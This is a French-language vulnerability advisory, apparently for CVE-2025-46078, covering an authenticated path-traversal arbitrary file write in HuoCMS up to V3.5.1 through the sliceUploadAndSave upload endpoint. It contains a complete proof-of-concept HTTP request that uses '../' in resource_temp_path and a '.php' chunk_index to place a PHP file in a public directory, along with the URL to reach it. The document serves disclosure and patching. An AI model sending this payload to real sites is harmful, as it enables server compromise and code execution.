
Description de la vulnérabilité
yggcwhat
Huocms
https://gitee.com/digital-flag/huocms
Upload.php
HuoCMS - <=V3.5.1
Dans la méthode sliceUploadAndSave de AttachmentController.php (située sous app -> controller -> backend), le paramètre resource_type est validé par une liste blanche d'extensions de fichiers autorisées (par exemple, txt, png, etc.). Ensuite, la méthode appelle tmpMove depuis Upload.php (sous app -> service -> upload).
La méthode tmpMove crée d'abord un fichier. Cependant, le paramètre $filename (contrôlé par le paramètre d'entrée resource_temp_path, qui est contrôlable par l'utilisateur) peut être exploité pour traverser les répertoires (par exemple en utilisant ../) afin de créer des dossiers. La méthode effectue ensuite une opération de déplacement, plaçant le fichier dans le répertoire créé. Le nom de fichier final est généré en ajoutant un underscore et le suffixe $pos, où $pos est contrôlé via le paramètre chunk_index passé lors de l'appel (reportez-vous au passage réel des paramètres pour plus de détails).
Cela crée une vulnérabilité où un attaquant pourrait manipuler resource_temp_path et chunk_index pour écrire des fichiers dans des emplacements arbitraires avec des noms de fichiers contrôlés.
Détails :
app >controller >backend > AttachmentController.php : sliceUploadAndSave

app >service >upload > Upload.php : tmpMove

Cette vulnérabilité est un problème côté backend qui nécessite de se connecter au backend avec un jeton pour l'invoquer. Veuillez configurer et vous connecter vous-même.
POC :
POST /attachment/sliceUploadAndSave HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: token
Content-Type: multipart/form-data; boundary=----geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Length: 990
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_chunk"; filename="blob"
Content-Type: application/octet-stream
1
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="chunk_total"
1
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="chunk_index"
.php
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_temp_basename"
.php
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_temp_path"
../../../public/storage/image/20250415/
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_type"
txt
------geckoformboundary13d3934e0299a09e8748d146bfb9d483
Content-Disposition: form-data; name="resource_name"
11.png
------geckoformboundary13d3934e0299a09e8748d146bfb9d483--

URL d'accès :
http://127.0.0.1/storage/image/20250415/%5f%5f.php

http://huocms.com https://github.com/yggcwhat/CVE-2025-46078/edit/main/README.md https://www.huocms.com/